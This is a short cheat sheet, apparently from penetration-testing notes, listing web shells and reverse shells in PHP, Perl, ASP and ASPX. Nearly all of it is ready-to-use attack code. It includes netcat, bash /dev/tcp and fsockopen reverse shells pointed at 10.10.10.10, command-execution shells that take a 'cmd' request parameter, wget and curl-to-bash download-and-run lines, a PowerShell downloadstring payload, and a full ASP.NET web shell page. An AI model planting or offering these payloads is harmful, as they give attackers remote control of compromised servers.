Web Shell
PHP Reverse Shell
PHP - Netcat
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 80 >/tmp/f"); ?> PHP - Bash
<?php
$sock=fsockopen("10.10.10.10",1234);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
php -r '$sock=fsockopen("10.10.10.10",1234);exec("/bin/bash -i <&3 >&3 2>&3");'PHP Command Execution
# save to a file
<?php system($_REQUEST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php system($_REQUEST ["cmd"]); ?>
<?php ${system('nc 10.10.10.10 4444 -e /bin/bash')}; ?>
'<?php passthru("bash -i >& /dev/tcp/10.10.10.10/80 0>&1"); ?>'PHP - Download
<?php exec("wget -O /var/www/html/shell.php http://10.10.10.10/shell.php"); ?>PHP - Command Execution
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' > rev.sh
<?php system('curl 10.10.10.10/rev.sh | bash'); ?>Perl
perl -e 'use Socket;$i="10.10.10.10";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'ASPX
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
%>
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.10.10:5555/shell.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>cmdasp.aspx
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>ASP
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
curl 10.10.10.10/cmd.asp?cmd=whoamiLast updated